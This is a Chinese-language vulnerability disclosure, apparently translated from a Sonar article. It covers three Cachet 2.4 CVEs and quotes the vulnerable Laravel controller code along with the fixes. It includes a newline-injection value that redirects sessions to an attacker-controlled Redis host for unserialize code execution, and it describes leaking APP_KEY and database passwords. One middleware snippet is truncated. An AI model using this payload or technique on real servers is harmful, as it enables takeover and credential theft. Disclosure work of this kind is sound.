Cachet 2.4:透過 Laravel 配置注入執行代碼

狀態頁面現已成為所有軟體即服務(SaaS)公司提供的基本服務。為了促進其普及,初創公司迅速推出了狀態頁面即服務,並提供了開源的自託管替代方案。Cachet,有時也稱為CachetHQ,是一個廣泛採用的狀態頁面系統,用PHP編寫,擁有多個社區分支,例如fiveai/Cachet

攻擊者對破壞Cachet實例感興趣,因為它們存儲了各種服務(如快取、資料庫、郵件伺服器等)的密鑰。這種初始立足點有助於他們進一步滲透受影響公司的內部網絡並執行進一步攻擊。在本文中,我將介紹我的團隊和我發現的Cachet 2.4中的三個安全漏洞的技術分析,這些漏洞可能使攻擊者能夠破壞伺服器。

影響

這些漏洞的利用已在當時Cachet的最後一個官方版本(2.3.18)以及開發分支(2.4)上得到驗證。希望利用這些漏洞的攻擊者需要一個具有基本權限的有效用戶帳戶,這種情況可以通過以下方式實際利用:

  • 利用每年洩露的大量帳戶進行憑據填充。
  • A compromised or malicious user. 
  • 同一範圍內存在跨站腳本(XSS)漏洞。
  • 利用CVE-2021-39165,這是在2021年1月修復的Cachet中的預授權SQL注入漏洞。

漏洞1:CVE-2021-39172

我所描述的第一個漏洞(CVE-2021-39172)是一種換行注入,當用戶更新實例的配置時,如郵件設置,就會發生此問題。它允許攻擊者注入新的指令並改變核心功能的行為,導致執行任意代碼。

以下視頻展示了此漏洞的利用。為了演示,進行了幾個手動步驟,但攻擊者可以將其自動化:

來源:Sonar YouTube

漏洞2:CVE-2021-39174

第二個漏洞(CVE-2021-39174)也與此功能相關,允許攻擊者竊取存儲在配置文件中的秘密,例如SMTP服務器密碼、應用程序加密密鑰等。

漏洞3:CVE-2021-39173

最後,最後一個漏洞(CVE-2021-39173)相對簡單,允許在實例已完全配置的情況下通過設置過程。這樣,攻擊者可以欺騙Cachet實例使用其控制下的任意數據庫,最終導致任意代碼執行。

針對這三項漏洞的修補程式已包含在FiveAI分支的2.5.1版中。

技術細節

本節將詳述每個漏洞的技術細節以及在社群分支最新版本中如何進行緩解。

CVE-2021-39172:遠端程式碼執行

Cachet儀表板向非管理員用戶公開了多個配置視圖,用於更改實例名稱、郵件伺服器設定等。應用層級的持久設定保存在資料庫中,而其他框架層級的值則直接保存在應用程式的配置檔案中。Laravel框架使用dotenv配置檔案,其格式類似於在shell腳本中宣告環境變數的方式。第三方庫此處提供了相關支援。

當更改電子郵件提供商設定時,控制器會實例化一個UpdateConfigCommand類別的物件。在命令總線的上下文中,Laravel命令是一種將應用程式特定邏輯從控制器中移除的方法;它們將在對物件調用execute()時同步執行。這發生在[1]處:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

相關處理器UpdateConfigCommandHandler負責透過替換現有條目為新條目,對現存的dotenv文件進行更改。

UpdateConfigCommandHandler可由以下兩處代碼觸發:

  1. SetupController@postStep3:設置過程的最後一步。一旦實例安裝完成,此代碼路徑將不再可達;
  2. SettingsController@postMail:當更新與郵件伺服器相關的dotenv條目時。

它首先會評估完整的配置文件以填充處理環境([1]),確認是否已定義要更新的指令([2]),並用新值替換該條目([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

對於傳入數據不進行驗證:只要配置條目已存在,它將被來自參數的值替換。若攻擊者提供包含新行的值,則會在dotenv文件中創建新條目,並可能改變框架級別的功能。

注意:在dotenv文件中,僅使用變量的首次定義;後續定義將被忽略。

在Laravel項目中,此原始機制足以實現任意代碼執行。初始的dotenv配置文件在大多數情況下可能看起來像這樣:

.env:

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

攻擊者可能會替換CACHE_DRIVER鍵,並將其控制的Redis伺服器註冊為新的會話後端:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

在發送一個設置CACHE_DRIVER為此值的請求後,dotenv文件將會如下所示:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

由於Laravel會話使用PHP的原生格式進行序列化,它們會使用unserialize()函數進行解析。這是一個已知的弱點,可以通過使用一系列特製的對象,即所謂的“pop鏈”,來利用此弱點執行任意代碼。工具PHPGGC可以為Laravel項目生成這樣的鏈條。

dotenv文件中從新行注入到命令執行的其他利用方式可能存在,但我們並未在此方向上進一步研究。我和我的團隊很好奇,您是否知道其他技術!

CVE-2021-39174:配置洩漏

正如我在前一節所述,可以對存儲在dotenv文件中的值進行直接的讀寫控制。向此文件寫入最終導致任意代碼執行,但由於此文件的值會在界面中顯示,這一點是否也能被利用?

vlucas/phpdotenv 文件說明支援 巢狀變數指定:宣告變數時,可使用 ${NAME} 語法參照先前定義的變數。

此功能頗為便利:於 dotenv 設定檔中引用其他變數,並於介面顯示該項目,即可揭露其他變數值。

已有廣泛記載,洩漏 APP_KEY 若會話驅動設為 cookie 則導致程式碼執行,此手法亦能用於洩漏 DB_PASSWORDMAIL_PASSWORD 以進行後續攻擊。

CVE-2021-39173:強制重新安裝

若實例已安裝,則無法存取設定頁面,此為中介軟體實作所限。SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // 尚未設定!      
         }        
         
         return $next($request);   
  } 
}

檢查僅依據設定值:若未定義或空白,中介軟體將視實例為已安裝。

若您好奇還有哪些情況會評估為假,以下是PHP在比較時的類型系統簡介,直至PHP 8。比較可透過相等性檢查(==)或同一性檢查(===)進行。相等性檢查不考慮操作數的類型,且字串可事先轉換為數字。此行為被稱為「類型轉換」,並已在多個實際漏洞中被利用(如CVE-2017-1001000、CVE-2019-10231)。在上例中,任何等同於空字串或“0”的值將評估為false,從而允許訪問設置頁面。

SettingsController@postSettings的設置更新過程中,app_name的值未經驗證,位置在[1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

因此,已驗證的用戶可將其更新為評估為假的值,然後再次訪問/設置以使用新管理員帳戶重新安裝實例(權限提升),或利用我們的首個發現並獲得代碼執行權限(記住,UpdateConfigCommandHandler亦可從此路徑被利用)。

修補

新行注入漏洞(CVE-2021-39172)已透過在UpdateConfigCommandHandler中加強對傳入值的驗證來解決,拒絕任何包含換行符的修改。

配置洩漏漏洞(CVE-2021-39174)的修復較為複雜,因現有依賴關係導致無法導入最新版本的dotenv庫。因此,相關代碼被移植以允許命令處理程序識別值是否包含嵌套變量。

最後,由於受影響中間件中改進的檢查,無法強制重新安裝現有實例(CVE-2021-39173)。

時間線

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

總結

本文中,我分析了Cachet中的三個漏洞,並展示了僅使用Laravel配置文件和基本用戶權限即可接管實例的能力。同時,我描述了維護者應用的修補措施及其如何防止我所展示的攻擊。

最後,我和我的團隊要感謝FiveAI分叉的Cachet維護者,他們及時且專業地承認了我們的建議並修復了這些漏洞。

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection